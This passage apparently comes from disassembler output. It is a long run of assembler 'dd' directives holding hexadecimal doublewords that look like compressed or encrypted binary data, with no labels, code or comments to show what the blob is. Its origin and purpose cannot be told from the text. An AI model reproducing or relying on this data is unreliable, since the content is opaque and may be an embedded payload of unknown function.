1D5465Eh, 778C0217h, 8A2EDF65h, 53212278h dd 0C701F8FCh, 0D625E51h, 0D56AE05Ah, 9764069Dh, 2E849940h dd 0D2011084h, 0E4A88CEDh, 47399702h, 56CA9E90h, 0E46D664h dd 0AB260071h, 7CD1043h, 146018CBh, 5A49521h, 0E7031DA8h dd 0C08D567Bh, 49C6744Ch, 3C81CD5Bh, 882E9E38h, 8F606698h dd 9A20B541h, 0CB212E39h, 7E80011h, 1075434Ah, 0FC74D301h dd 91476BF3h, 88185DEAh, 4ABFA19Eh, 0D0A6D71Ch, 0D6FA08EEh dd 1CE5CA4Ah, 0AB28847Ah, 60C11864h, 0A22B2D34h, 6AAFD2C8h dd 31007564h, 9AB4FEC9h, 0F44E695h, 0A11D4571h, 4858A453h dd 9D7CD097h, 2D70D05Bh, 366701CEh, 0A181DD88h, 0AC026AB6h dd 5790FE59h, 516FF44Dh, 0C1F85880h, 46129539h, 0ECE18915h dd 18B83429h, 8EA8DD00h, 3031E936h, 9E6A0407h, 0BC249A1Ah dd 8106C1D8h, 343D1F46h, 828066C1h, 0C218A527h, 0E064CDDCh dd 93C538BBh, 401C762Fh, 4801ED8h, 0BFB79EB6h, 1885AEE1h dd 6F0064A2h, 0F5CD8B3Dh, 654BDBBBh, 0D1B72CD0h, 405C3E16h dd 7ECC9207h, 42521BDh, 48053A95h, 80C2544Fh, 0B520F08Dh dd 539FE0E6h, 6D3F7018h, 629DF504h, 660E6E29h, 0F90B91F8h dd 5FCCCD00h, 0FAA97338h, 4AA4075Dh, 56829D92h, 977A3078h dd 14C86EF1h, 0AC024ACBh, 8691DE6Ch, 0C8B4CA92h, 7798C03Bh dd 3A2409D9h, 8205AAA2h, 0A8B21F8Bh, 28352512h, 0B97966B0h dd 931644BCh, 0DAACA0A9h, 9C7E098Ch, 3CF60550h, 3A20744Bh dd 40046BC5h, 8C0D59Eh, 0EBBDDAEh, 96533816h, 1875D809h dd 5B0350h, 0E4054B25h, 0D99E01F9h, 8BDCD395h, 0F07929DEh dd 0F01913D9h, 0BD009CA3h, 3A70F2F6h, 27BE3BAEh, 78F4F71Fh dd 0A6EBA908h, 998E18F8h, 0C812A382h, 5D0C3A53h, 0F0B5D08Dh dd 7A812701h, 0D3257854h, 17735804h, 13A60386h, 0E6C17E9Ah dd 7ED863E9h, 46D7CC8h, 87EDA3D5h, 2498AE82h, 0B7C14467h dd 8066EB28h, 9448A891h, 6FBB03D6h, 0ED99C875h, 0FC1DEAADh dd 82E204BDh, 3BEE60B4h, 2CC2348h, 97F5D8B0h, 5708B9DDh dd 0B05B49ADh, 3F7D1D70h, 0B2DB746Fh, 1CA64A08h, 6F0BF0E0h dd 0FF86E500h, 15601237h, 0FC20D3DAh, 0B2439D38h, 0C8D1C544h dd 12A24D21h, 0F21F0799h, 0EB86C284h, 540A5DADh, 0D3465EB0h dd 43961500h, 0AABB3FF4h, 0C0FCD54Bh, 0CD069108h, 65409A04h dd 60061CACh, 18CBC280h, 2CA8D16h, 18FDACD1h, 0E3E77980h dd 11B91B07h, 0D5E55800h, 68DC5FB0h, 44CE0BB7h, 6017E78Dh dd 0C982CC91h, 0C057DB34h, 8005E0C4h, 0BB03FE18h, 3E278E84h dd 4B1D83CBh, 0C418AC91h, 0C4EFDABEh, 0B9A0AD60h, 25DAD0EAh dd 3C74B347h, 207A58F4h, 820AFD10h, 42451925h, 0CD5F74h dd 4BB2F260h, 476F0465h, 0C5D90Dh, 1FC0DD97h, 448104C7h dd 1DED751Dh, 1CFAC1B4h, 42B90470h, 7F2522CDh, 0F76078CDh dd 4473B2Ch, 1E4F0727h, 80E8E8FFh, 0F19C87C9h, 8260C5A8h dd 4F78B494h, 0F51CC512h, 5E43B8C2h, 707CE970h, 2A7909D4h dd 3A5D59CCh, 4CB5FF80h, 47450303h, 20BB8CD4h, 0CD1BCCA0h dd 0E800D977h, 0D738B61Ch, 2ECEE232h, 4B8C19CAh, 0B0088D9h dd 0E38AB462h, 701E05B2h, 80DDA9CFh, 0F2760DC1h, 64B1C60Ch dd 1332F03Fh, 0ABBD6A96h, 823D4401h, 49A43489h, 14674ACh dd 2D68B900h, 0E0515E50h, 8A179D09h, 4A8AB80h, 38400700h dd 8C79614Eh, 0C5992900h, 0FE93FDF3h, 2A5D0026h, 2C882164h dd 31C99182h, 94700214h, 80B7D528h, 1236C903h, 9E7980D3h dd 646D1313h, 8190A977h, 5BFD9047h, 4688E2Eh, 0D48BCEBh dd 80F49BAAh, 39A33A01h, 0BEAE2FA2h, 77928817h, 71838AEh dd 60A3EE4Bh, 941FA015h, 1C82D13Dh, 0D5826A48h, 0ECE6F941h dd 4B0B440Fh, 48FF4D8Eh, 5CBCC54Ch, 0AD009729h, 0C7F7DF8Dh dd 0B500D143h, 0F937DB69h, 18123344h, 0A98365EEh, 900C121h dd 0C1BE4B5h, 13D38F70h, 833506D8h, 306E3703h, 0C4A2F708h dd 1E3F2A3Bh, 0DB549581h, 0D0AD6132h, 0DC07D53Bh, 0E6A9EF44h dd 0ED618D77h, 0F33AF845h, 78A692BCh, 0DFE17DA3h, 0CBA0D7C6h dd 149DE7A7h, 7158993Ch, 26CC19CCh, 0D79E0020h, 0A094398Eh dd 434E0B89h, 0C0DDB4BDh, 62143775h, 5A979F91h, 0F094A64h dd 0A1841DE0h, 0C48AAE61h, 0E0B55F22h, 8DC9594h, 42210E60h dd 596A9E02h, 302FF59Dh, 9C1313B1h, 0D8374CD4h, 82477B70h dd 54F9012Dh, 497AFCFFh, 5697E4B9h, 6D296207h, 9DE11A9Eh dd 1898DDE9h, 4166811Fh, 0D036A935h, 15B442AFh, 0AE021229h dd 0CF86231Fh, 71D37900h, 58A18F93h, 597E0002h, 0A0C267E5h dd 0A800E254h, 0DE9E5C04h, 5BC90C24h, 0B0A208h, 733FE105h dd 5F1874BEh, 0ADE0CCB8h, 450C2C0Dh, 0E03A3019h, 9F05A5B8h dd 650D46CEh, 813FF4F1h, 3A507A58h, 8214A8F3h, 0EC055495h dd 0AB37B559h, 0ACF1BC45h, 0C8A008BAh, 0B0120024h, 821214E8h dd 2B34E18Bh, 0A10860A7h, 5E2523D6h, 20FD12B0h, 2CAC1CA8h dd 36EF3Dh, 0A03B32F5h, 0DFDAC6h, 83D4B249h, 18C756D5h dd 9085BF22h, 41276038h, 2E0FB73Fh, 1949640Bh, 0C4807426h dd 82C95C2Fh, 0F800F0D0h, 9CCF0DD2h, 7B3118A0h, 7578B081h dd 3D054500h, 8E60B4Bh, 4495A000h, 6E7C11FEh, 403487Ah dd 40945865h, 0E3E58752h, 7465C81Fh, 0C3FDC2BCh, 88027D09h dd 0A04231A7h, 0EC375Dh, 30686AF4h, 4497E259h, 0D144B110h dd 0E18D9h, 0E85E0779h dd 0CF3477A2h, 9C3FCA05h, 7CA0AC82h, 68A607B6h, 0A238D96Ah dd 0CF75C61Eh, 0E7E14148h, 2B6FF1AEh, 1A9D24B0h, 6881F082h dd 2EA584C1h, 0A5E074E0h, 6516C430h, 0DC006CF3h, 0DDB14CD2h dd 8E20B906h, 78E4BF1Ch, 69E83D00h, 136B238Dh, 87C60793h dd 2544E2FCh, 7027EA75h, 0DD94EC0h, 0EF2E0070h, 8FAE03D1h dd 2B2E56E5h, 0FC269363h, 640E1B11h, 0DDC43776h, 0ACF8E9E7h dd 3A480E5Fh, 0E954C894h, 0CD26B309h, 3AE400E5h, 6809ED60h dd 5440664Eh, 4370348h, 5D7951h, 6259DA94h, 3F1B4AD7h dd 3E458B00h, 43CC1A9Dh, 90465F18h, 0ECB19788h, 81784Eh dd 0B7E1F0Eh, 0D8D1AB58h, 0CE180E79h, 0D572C502h, 0C0549E01h dd 0B27DF30h, 47FB1FE9h, 13045C66h, 9C9D7668h, 231C3EEFh dd 7CB010Ch, 0EC0DCE53h, 8625088Ah, 0C280F651h, 0A7556413h dd 91028E88h, 4ED4583Eh, 0AFA48C54h, 0AB873207h, 0DEC04D68h dd 6F3F159Fh, 0D90508D8h, 0DDF80CC5h, 255B9610h, 2CB3D8B6h dd 3C4E8981h, 0B8245D1Ch, 4A4DB8A7h, 1E80F0F8h, 44186EB7h dd 8A149D90h, 4888284h, 0F390CC5h, 5A7C8AEEh, 123B82Bh dd 49666201h, 18623831h, 1D18BE09h, 0DB2DC074h, 1FE3D0F8h dd 41367912h, 0A8EC88C0h, 0E6264A5Ch, 0FF75B050h, 0B2771301h dd 64FC04CAh, 1EAF047Ah, 21C48AEEh, 2CEDAD78h, 199B5840h dd 0E3BE04B7h, 0D531ED45h, 1F704974h, 87C838DDh, 7BB58411h dd 0DDBF5084h, 0A32DA51Ch, 38567140h, 0BFD1629Ch, 7E64E2h dd 909A246Eh, 0DD2F20ECh, 0D21990B9h, 0B56A1D21h, 0F14C136Bh dd 60E5C28Ch, 9E1C0800h, 7341DA1Eh, 9294028Fh, 0ABE513B7h dd 5435DCC0h, 262A6D4Ch, 69343C01h, 0AFF485AEh, 73094C6Eh dd 39DD32D7h, 95CCC5F0h, 90EEB5F0h, 51EC2709h, 3D88F2F8h dd 921EC2A1h, 44402C34h, 568449CDh, 0F52F40A0h, 0B200955Ch dd 627AAC3Bh, 0C54BE1h, 61DAB16Eh, 9D124A8Eh, 47313F62h dd 6489F7B6h, 80D4B5D7h, 74BB4E19h, 314E5166h, 0B9A7CCB0h dd 1260000h, 1B8A3BB1h, 0DC96EB00h, 354E49FBh, 2CF0E283h dd 5811D4Fh, 0A015623Eh, 38249574h, 0EA09FC71h, 8165FE2h dd 65124814h, 329B0954h, 40587447h, 5CD6EBE7h, 0F692401Fh dd 0AD1C7C25h, 1E977890h, 8D18AF00h, 0FA223A9Ch, 57EF3B7Ah dd 3E644F84h, 402CF4A7h, 8C88C00Bh, 30FC6C2Ch, 0EB81E4FCh dd 55000C91h, 37EC6ACFh, 79AD7B4Ch, 9C9B4C4Eh, 30B43899h dd 0AE2589A4h, 7AC87328h, 0D6D0B0FDh, 1B98048Dh, 0C0C6C504h dd 0D932D2D5h, 808D9A4Eh, 0E000F62Bh, 2E47149h, 113820F3h dd 90751991h, 44ED2D8h, 0A170FF85h, 4421EEC3h, 47027CD0h dd 44F04D77h, 0AD0A603Bh, 0E85A4EC8h, 30C8D2E8h, 25B700B0h dd 953D70FAh, 0BD1E238Fh, 8407A55h, 0DFDCF80Ah, 46A22D36h dd 0F62764D9h, 8002DCB0h, 37FF5599h, 5C60779Eh, 0D997EBE9h dd 180FD9A8h, 1856004Dh, 0C2E79225h, 58136020h, 60B4D71Ah dd 0A3944A9h, 0C0946D9Dh, 9B053553h, 0B15EB77Eh, 0E21F58A2h dd 313C8061h, 0A16C155Fh, 0B038E697h, 29A63020h, 9F9BFC89h dd 3A53D301h, 4F2DEAAEh, 9D4CE9FCh, 0D5C5B06Dh, 3333A80h dd 70D416C9h, 0D2A4EC7Ah, 45B8ACF9h, 1EEB1302h, 5D35629Dh dd 0CE6DC60h, 743B7918h, 11A0DB8h, 0D8F10819h, 7F1EA0E1h dd 0D3C840CBh, 3B9028C0h, 0BB180F99h, 0E2D613B1h, 0B9151298h dd 3A23303Fh, 0E734E801h, 202E4ADEh, 0A7587DE8h, 0C72A0F00h dd 8F3D4F94h, 40F8B431h, 74C4E1CCh, 70A6F100h, 0FEF95CBEh dd 0A8810B84h, 0E7854908h, 9C18800Fh, 6802440Bh, 595086CDh dd 67987C4Eh, 6086264h, 3BF0F609h, 0BB5BBE12h, 9A2EC43Dh dd 0B5DA8018h, 2DBB3FA7h, 0B0D1EA78h, 9D51FE46h, 7670ACD3h dd 0A86D4E65h, 8C70F8F0h, 3B127F16h, 4DEC4CC0h, 583092Eh dd 2CD1821Dh, 6A2C5964h, 1C81474Eh, 8B2E3114h, 616821B4h dd 8DD44FD6h, 206B6728h, 0B6371803h, 11243A49h, 4CB4A34Bh dd 65D827D4h, 6001E414h, 0E29C467h, 0D6711A91h, 0AA3C5h dd 1CB0B5CCh, 72950CB9h, 0A2EC4BB0h, 0ABEE88C0h, 68F578A0h dd 387D3D24h, 263E8408h, 0CACE0950h, 667C1CDFh, 44457136h dd 65343CBAh, 0BA05593Ch, 2DAEE7B5h, 989A7F84h, 0D5E0088Fh dd 57AB4F8h, 514B6AFAh, 0DA65300Bh, 0ED910024h, 66EC2D25h dd 92082B2Eh, 62896B9h, 29954218h, 23EED204h, 4CE87231h dd 0E1ED06DDh, 3709B002h, 7674556Ah, 0CBE55920h, 0BD4804E4h dd 0A680F8FCh, 0CD499120h, 0DA74EB09h, 8E8859ACh, 0A3B3473Fh dd 69F67808h, 28E2095Bh, 0A054F6D3h, 0DABE4Ah, 165E9EAAh dd 69BE362h, 1E928912h, 80808CDEh, 8B254BC5h, 0AC68B681h dd 0C1A48A82h, 0C743E660h, 35708100h, 61821E3Ch, 7BB81649h dd 0D278ED23h, 0AAB4B0A2h, 0E70F62E3h, 0AC30F02h, 80B00CBCh dd 8B0629F3h, 4D059995h, 41BD18E2h, 0C2830C14h, 51AD045Eh dd 6601E8B8h, 89DEC2BFh, 0F66F2050h, 98EFE503h, 294C60D4h dd 9E2B3720h, 0DF14E0E0h, 61761F67h, 0CBF0468Dh, 2970C550h dd 0B886D1C6h, 0AA569555h, 0F57200D6h, 855491DAh, 515E9D89h dd 181E2E8h, 811F3595h, 0FB8B6610h, 0B7E9B5FFh, 23608881h dd 0BB0BB98Dh, 7DECDB20h, 95858BC1h, 611A9C2Ah, 398D0944h dd 311CA4AEh, 0C8ED245Fh, 0F3F64E8h, 6615E089h, 0FBDE5ABBh dd 0BD2434E8h, 0F87029FBh, 12AE015Dh, 36434EE9h, 9553866Eh dd 52AC28D9h, 5D467F5Fh, 85891BB0h, 0DF26E92Ah, 49E9C1ECh dd 0F32CD98Bh, 779BFBE5h, 0A31C009Fh, 0D7206F21h, 88F8715Bh dd 6E973221h, 1917BAEh, 0F4164FFh, 0AD2BDAB7h, 9F34002Bh dd 0E76BC44Bh, 803000CCh, 0F1E5025h, 25C7018Bh, 55A996FCh dd 8A3D69E4h, 6BBF4ADAh, 7A020E75h, 0E039009Dh, 78C861EBh dd 0A8B95E8Bh, 0ED246D1h, 69D38166h, 84AE0F30h, 5F111619h dd 15ABBB07h, 7D69E073h, 0F30AB641h, 0C8614CE2h, 12AFC517h dd 0BC9AABADh, 0FAFD39C5h, 1C7BC8h, 257AFA48h, 0B26FA382h dd 7595E201h, 0D45BCD92h, 1B315C48h, 0D110ED9Dh, 7A29B9D9h dd 3BA05BA7h, 4802E3A6h, 0FEF81CCBh, 0B6C0FD40h, 82821DFDh dd 4150514h, 9D350802h, 0DEBFC9F5h, 15A9E702h, 78597B5Dh dd 0E903AF98h, 0DE3C101h, 2B1A09C6h, 79212D9Dh, 6F1185C7h dd 3AFDEF5h, 0DC6B74h, 9311D537h, 0BDB589E2h, 38151444h dd 0FBCAFFF2h, 17242E6Bh, 16310832h, 0EDC1293Bh, 0DC331580h dd 75D28C1Ah, 2AC400A5h, 0E5087E4Eh, 0F9BF4822h, 2D74AFAEh dd 0B1752A41h, 362DE8C7h, 236612A0h, 189EB50h, 7B2BA17Fh dd 7EE0F8B6h, 0B4C582DEh, 0DC2021D9h, 8807E953h, 9603BF0Eh dd 0CA02D8A5h, 0A520485Bh, 9D254D14h, 6123B110h, 519776BEh dd 3D5B5DDAh, 903EDC58h, 0B8EF02C5h, 5C0834Dh, 0C0976DF7h dd 97E92DE6h, 65A84B77h, 1A057776h, 0FD693555h, 2F709B54h dd 4948F4D9h, 0B2800AB7h, 8551B4D0h, 484E39CCh, 45D103A8h dd 0CE026004h, 0B51431E0h, 513726ADh, 823504A2h, 5155D998h dd 8D89044Bh, 5E259701h, 809A13C4h, 0FFD88BFBh, 0BC8BD14Dh dd 31770033h, 0CED9D8D2h, 0B0906322h, 0F2291D24h, 0B128142h dd 12600BD7h, 4F4DFF1Bh, 0C90BC1C1h, 2FF8B5C0h, 985E6B41h dd 4DB20167h, 91C4080Ch, 78022330h, 6100455Fh, 0A8371362h dd 0EDF7B52h, 6090FA8Bh, 0BE66C680h, 613ECDFCh, 18F93250h dd 80488FE9h, 0C5AD80E8h dd 90709D79h, 4361392Eh, 41546DCh, 14E948FCh, 0BF1B5D40h dd 7A00ECDDh, 9D2EAF27h, 87D3ACh, 722CE70Bh, 0E9AD12EAh dd 550CC725h, 8049C514h, 6BFE4AB3h, 0DAE50024h, 0BD896061h dd 0D80D61EDh, 0EE6FF380h, 0CDE47A6Dh, 8A57FE81h, 0B906A665h dd 90D80E06h, 0EA470FBBh, 0D1C1EE74h, 0F25A9D35h, 5836DB55h dd 3305C0DDh, 0F8BF0F99h, 8A6F88EBh, 0E8FBE5EBh, 562F79D7h dd 0AF8D5E40h, 9F6317Eh, 85B6BBF4h, 4B01D304h, 0B38BD7FCh dd 11A89FFFh, 5C25801Ch, 9BF3B9Ah, 5A7C60BDh, 0BFC26455h dd 4D71DE7Bh, 99C5C730h, 5FF12E3h, 0C817E9AAh, 255E8577h dd 3DE89FEDh, 87030F24h, 2AA0111Fh, 908C2AE9h, 0F0D2055h dd 0A02AF8BFh, 62E4D901h, 0DDD8871h, 19AEFD0Bh, 3D603BFAh dd 0E2832D59h, 2640F7B6h, 0DBBF1ABDh, 0BE90CE8h, 0FD00610Bh dd 450C55DBh, 2CB5FCF0h, 17B5F4DCh, 0ED02FBF8h, 518D0F51h dd 2BD989FBh, 0E5B56307h, 0F9C9FE1Bh, 33C8EDh, 856AA407h dd 8BC5F117h, 8712F5D1h, 0F20F261Bh, 6EB243F0h, 49201A2h dd 7C9784Fh, 0EAB5E1A3h, 890924A7h, 89C0876Ah, 60810361h dd 2E6DDC88h, 722CF81Fh, 6524071Fh, 4A613667h, 0C930C4A5h dd 0EC685F3Dh, 793E8057h, 3D75FDFh, 76664D96h, 0A2D1CB13h dd 0A84DA023h, 32CDBD17h, 58F660FEh, 0E4009B8Eh, 0C06716CFh dd 2F8F7DDh, 0B34FC513h, 0CAACD03Bh, 5F1A572Fh, 400F3CE9h dd 0BD17FD14h, 80858FFBh, 85EF7BF7h, 0A2CDEB74h, 7FCDE903h dd 18A550F3h, 0CB8100FEh, 7475BC2Fh, 8CA49589h, 53F12976h dd 4770E998h, 0BB58D06h, 12225111h, 200DD59Dh, 0D8F2BF5Fh dd 0DE2BE52Fh, 690DC9FEh, 145D3055h, 0C0D0D495h, 0D41C870Eh dd 0DD183000h, 518213DFh, 25C9B04Bh, 0B7DB9F6h, 86A63729h dd 0E6A57385h, 4DCED60Ah, 0FC128F4Ah, 0C0B4DABBh, 0A522B05Ch dd 0D4103F6Ch, 0BB1EA7C8h, 40BDCE0Eh, 42688CA0h, 73BFFC13h dd 82E8736Dh, 0B93931ECh, 0C07648B0h, 36693C56h, 0C9A30004h dd 3FCB1988h, 1BEA787Fh, 6E8FBB05h, 0D5C0C02Bh, 0EEE127DFh dd 0EE5FB8D2h, 0C23318ADh, 83D08CD1h, 7504E90Ah, 0DC0F8AF4h dd 0B774A9DFh, 869926Fh, 5DA51651h, 620A7EA0h, 0B100526Eh dd 3075A310h, 132E673h, 918FCA5h, 3D0DF93Dh, 0BC995938h dd 4437171h, 9FB1BB15h, 0BF75C12Eh, 4A1868FEh, 5F297ABEh dd 85D36FFCh, 1DB20C9Dh, 604EF957h, 6916A418h, 5FC98230h dd 318E8C2h, 1D08C16Fh, 19C9BC2Ah, 0BAED7558h, 1316460h dd 0C0C82479h, 0C2508D2h, 5880F06h, 0F3FD802Bh, 0B2E860ADh dd 6AE780FEh, 45BD8309h, 4423E41Ch, 0BF086625h, 0A8B82765h dd 49E5E2EEh, 9D08DB4Dh, 0FF01325Dh, 8810FE1h, 892729BBh dd 5B5205A3h, 0C3E9643Ch, 10E1DF35h, 13422FF8h, 0E7440120h dd 0A19D1323h, 9AAD12Ah, 19200416h, 45860F03h, 49BC8498h dd 1E9B60A1h, 0AB5692C0h, 0FB0B13A6h, 2E3D8ECh, 0D31A943h dd 0FF5B059Ch, 0DC8AE180h, 4E10A80h, 350CE8h, 0C64F92CFh dd 5D064E1Bh, 0E4639894h, 26A1204Ah, 0C90A5F18h, 95011E50h dd 82C976F4h, 28187943h, 61DE09DBh, 71F6FE4h, 4B8075A1h dd 43BB4F5Dh, 79B1074Dh, 0C9398533h, 51427E4Fh, 7D00D8CEh dd 906180E9h, 0AB1CCAB0h, 52585085h, 0C0310FF4h, 5A7B7916h dd 32909058h, 20290C0Dh, 0EF207C54h, 0E833402Dh, 0FF06EFB1h dd 489A1F03h, 2225252h, 54616036h, 5F97A34Ch, 80A4B89Dh dd 1788873Ah, 7490D3h, 0CE1A36C7h, 453465DDh, 82F96800h dd 0A9C1BB57h, 5F403829h, 45278BAEh, 107B18C7h, 5862B436h dd 0C0BFDB0Ah, 820EB149h, 642C6758h, 0B588FEE2h, 6C8B1D23h dd 1A614668h, 0EA2E17B4h, 605D12DEh, 75A504DCh, 0BE90F2Fh dd 0E47F3801h, 8B4600BCh, 9C57D05h, 6104AFC0h, 84FA0AA4h dd 1A07F3BEh, 8F938D85h, 1C2BC824h, 2C181CC7h, 19467C92h dd 7600F63Fh, 29DACCB1h, 0FD92C1BDh, 918AF850h, 35CA75D8h dd 0E546A121h, 98DC27AFh, 64B000DCh, 9E1BF6D0h, 8D420FFEh dd 1193D58h, 429D6904h, 7B5D8947h, 57B97355h, 74BC07Fh dd 21B10512h, 0C630BE64h, 26A7AA96h, 0D9C98Ch, 0BFB5048h dd 0A67A71CBh, 446891Fh, 40FBBD57h, 0B86050E9h, 0B5179C0Bh dd 6186614Eh, 0FFF144B4h, 0BBDA48FBh, 2BAFF900h, 0CC3D6863h dd 0EF6F4AB4h, 0FE340F40h, 1FC55664h, 2998094h, 0B1BAC186h dd 0A7C37760h, 60815F30h, 4BABCFC2h, 7B6BEB6Fh, 56D0037Ch dd 0FF0E3259h, 858DF590h, 467E8CBCh, 12AB4A17h, 117E04D4h dd 0B8311F33h, 85687BBDh, 14F04D56h, 0FB0795F0h, 8D8975DEh dd 0E8402AB9h, 0B2CD7DC9h, 0B4D44060h, 7D1604E5h, 8179D298h dd 50AC13Ch, 2F8688FAh, 8889AB01h, 615FAC59h, 0AC17AD2Ah dd 0E03F0726h, 0D05C36B1h, 184B2F1h, 1E13E98h, 0C6DEC7F8h dd 333DC177h, 6215299Dh, 4DD34287h, 92B758B3h, 11190609h dd 81102166h, 3503BCC3h, 30501AB8h, 4430390Ch, 0E8C10187h dd 200EAD10h, 3FC4CCEh, 0E43584Ah, 7736EBE7h, 0E648136h dd 1B8C857Bh, 0D0282950h, 58331821h, 57420113h, 0B244C1Bh dd 918C0FC0h, 592C5332h, 5F022720h, 872FB3BFh, 0AEFB5522h dd 24D14D58h, 0B4A9C0Eh, 2E94A6F4h, 4CCB8522h, 2E29AD29h dd 27B8E6BAh, 70D7F3BFh, 0A89801FEh, 7671215Fh, 0E438E380h dd 0BC299927h, 0BB5EE87Dh, 8C44135Eh, 89C80D0Bh, 0FCAD2A34h dd 0E00F54B8h, 0AF2DA7Ch, 611BA2Bh, 320864Dh, 0C223A8D2h dd 0F51070C7h, 0E6BCC56Dh, 28BCC600h, 7C26C82Fh, 0B7AC3EA0h dd 2C1196AEh, 59F0977Eh, 74FB0C0Eh, 0BDB39611h, 56581A78h dd 0F248B05Eh, 0F4A722C0h, 0D40018C1h, 4852EFCCh, 2841B4C0h dd 2FC1E70Fh, 74FE308Dh, 71184676h, 0C89E1D04h, 3120E9CFh dd 56F60345h, 0EACBE0ACh, 28450ED9h, 8F0F0A23h, 5A501565h dd 2FCA700h, 0D69D0886h, 9A799300h, 0CB3606B6h, 0F387A372h dd 0D82D4AC4h, 3923B598h, 0F1B5A715h, 47E12E00h, 91800FD0h dd 0A59D8617h, 5032692Bh, 5CDAD020h, 0B5016B76h, 7CD591D7h dd 14CD809Dh, 41B767Eh, 9D31281Eh, 4B84B945h, 51F6FEBh dd 0B5DF80A8h, 1CF8F8C1h, 5BBF4681h, 3075E3A7h, 12483926h dd 0A6ABA4BBh, 0EB50B040h, 0B554C431h, 5F76181Ah, 0A54BBC0Bh dd 807B377Dh, 9EDEA242h, 87121FBBh, 92583710h, 90E20A62h dd 213A191h, 245F5611h, 0BFA36096h, 32F00635h, 8A61B4D3h dd 0F87B5596h, 0A592AD58h, 21B52F98h, 50574F01h, 0A83ABD8Bh dd 0C65F25C2h, 2637B498h, 7B65A573h, 0F92E0B11h, 65BB0529h dd 0D9B4C825h, 0D9B4FACh, 0A8C1E85Bh, 8B6E934Ch, 9D6221B5h dd 716A2556h, 75526CA5h, 0EB2B4ABFh, 5A9E0E40h, 8D9B3Dh dd 0A2F94831h, 2DA14FA3h, 63C3EA1Dh, 0C2287945h, 12018804h dd 2B29B931h, 884EE938h, 0BC013E8h, 3326C5Fh, 0C237005Dh dd 7139A374h, 731C9AA4h, 44993B0h, 748572Eh, 7B013676h dd 1DA9EA33h, 752E5B7Ch, 9BA6B0Bh, 0A4C6F5A9h, 2B8FA3Ah dd 0C017DAF4h, 62EF1CF0h, 417300E1h, 0E9C5384Ch, 0FF71F45Eh dd 3DE38100h, 8B620270h, 720997C1h, 1AA6D351h, 7D174674h dd 7D73DD02h, 0A939BD09h, 73625FC5h, 3E0056Dh, 1AB79247h dd 447DB37Eh, 58425357h, 63FF31Ah, 0AD383A9h, 131FA6DFh dd 0C8DE8B4Ah, 6BB85B17h, 1B5E65Ch, 284B13F6h, 1F2A1CD4h dd 3755A703h, 9A00B9A9h dd 1C2B3264h, 0DE4BB70Fh, 0E9DB0385h, 72D65A80h, 0DD12795Ch dd 0EA005790h, 505F3EE4h, 0CB2097E8h, 0DEF0F7C5h, 0B4255C00h dd 2B67E54h, 0B1790208h, 870FF8CDh, 50388264h, 5F90A55Fh dd 0EB9F5CB5h, 0C0761580h, 70F73B12h, 6025AD6Ah, 84F299FFh dd 0F0D2D904h, 0F1842923h, 0CC4AD4E2h, 0B5103123h, 0AEA40BB1h dd 0EEB057E6h, 23016EF5h, 0CA9F6D45h, 0E770BDA9h, 0FF274001h dd 1233D13Dh, 28E32FADh, 2E51718Dh, 54AC14ADh, 7282C631h dd 0F1921B31h, 0B8C8EE02h, 9D331A57h, 0F60B91A1h, 17001EE4h dd 0FCA4A3B1h, 12F2F669h, 5357C56Bh, 0BDA924BDh, 4C96E8E4h dd 6510E803h, 79E90926h, 64E1590Dh, 0AF938461h, 7EE087E6h dd 870036EAh, 0E7604EB4h, 121ABFEBh, 43EE004h, 0ACDD0D72h dd 52A6D2C9h, 932D80E0h, 8C49FE02h, 55A5F4ABh, 0A1000F5Ah dd 0EF7C3DEh, 0F1B9702Ah, 1222CD8h, 33D549C9h, 8B38C01Ch dd 0A745718Ch, 0BE80D919h, 0A8611E13h, 209501B9h, 3195319Dh dd 602F60D8h, 0BDF2BE9Fh, 445D8B58h, 0B19561AEh, 3A2001C4h dd 0A6548203h, 1F80786Ch, 0A6A8DCFh, 49DA810Fh, 0EAEE4D5h dd 72DACB7h, 7B20812Eh, 2E31BD03h, 3DE7109Fh, 0D960B30Fh dd 4552932Ch, 0A2A9F984h, 0BF2BF78Ch, 71F0DA09h, 2930428h dd 0B0D98A43h, 0A51DBB80h, 8055AA01h, 70E66AC3h, 4D1B202Bh dd 3200C59Ch, 5B8161C2h, 971E4E8h, 1E158D31h, 0C09ABC59h dd 0F9666133h, 4B9162Bh, 0AF254110h, 0FE2CA1A6h, 99A2C7Bh dd 0E47F3079h, 0E5BF1972h, 0FE5308C7h, 8905A656h, 9341C9BDh dd 0B509C82Bh, 8B0368E6h, 4A5296D1h, 0E614050Ch, 350DC3F8h dd 25405D62h, 7A80C2Eh, 5AF8AFC9h, 10154550h, 0DBCC125h dd 2EBA8B3Dh, 2D65A953h, 92AE3C12h, 0F155FC1Ah, 4ABF0108h dd 965F7DCh, 891032F9h, 17658D9Dh, 2107A58Bh, 0F4EEF9FEh dd 43235F59h, 185BA8EDh, 0DA0F001Eh, 0B9DD3A83h, 0D90B0494h dd 0E28C0252h, 0C26F5495h, 36219B6h, 58DB7357h, 31733A1Fh dd 0BD5E5102h, 42D99529h, 6EC15C30h, 81C15C7Bh, 2B08FDEBh dd 6B92BFF9h, 0D751003Eh, 0C60E9B68h, 65792814h, 75922B8h dd 95B9FA0Bh, 0E29EE808h, 83819554h, 4909BD31h, 0F3FF26C6h dd 53A191F0h, 94BBA82Eh, 181D1050h, 32445F25h, 50A16BA1h dd 0BFD22BD5h, 14254477h, 0AF536715h, 9400E2B7h, 70D08E3Fh dd 0B67650EFh, 0FDD424E7h, 0DFBF09AFh, 843B3F59h, 357F3294h dd 1049DE3h, 1711819Dh, 0A6AEFED4h, 727DF058h, 2EC73C31h dd 8F528A14h, 4A83C52Ah, 0C01CCA5Bh, 0D84AC381h, 0B879F557h dd 3C7D2EB8h, 8864E80Ah, 0FB12832Ah, 59F84709h, 0B94A4512h dd 4FEEC4Ah, 0C2D223ADh, 59BC241h, 60D8BB20h, 0B8083873h dd 0D060EF4Bh, 5CF07BFDh, 80020B12h, 0FC5BD8F7h, 0FF614A56h dd 282BF5E1h, 44CAD37h, 24A1D232h, 0FB37292Ah, 0BC232759h dd 7397D97h, 282189D3h, 0BDF3607Fh, 7E4A4960h, 427B54CAh dd 0B55D1104h, 9DBCDA4Fh, 2F099AC0h, 4C6823E3h, 8270812Bh dd 81004C54h, 8F982DC7h, 0E180276Ah, 1C11F09Dh, 0F547EC82h dd 7EB3D0E0h, 0D4F49B24h, 0D8BB5D12h, 6201742Ah, 897C0528h dd 482B35BBh, 6DAD446Fh, 0BCFCC07Dh, 4C75C5BEh, 0E8C990B0h dd 0EC7A523Dh, 0DD1B4A01h, 0B8547998h, 40274AEh, 0FDBD3375h dd 0A7A31206h, 9025074Ch, 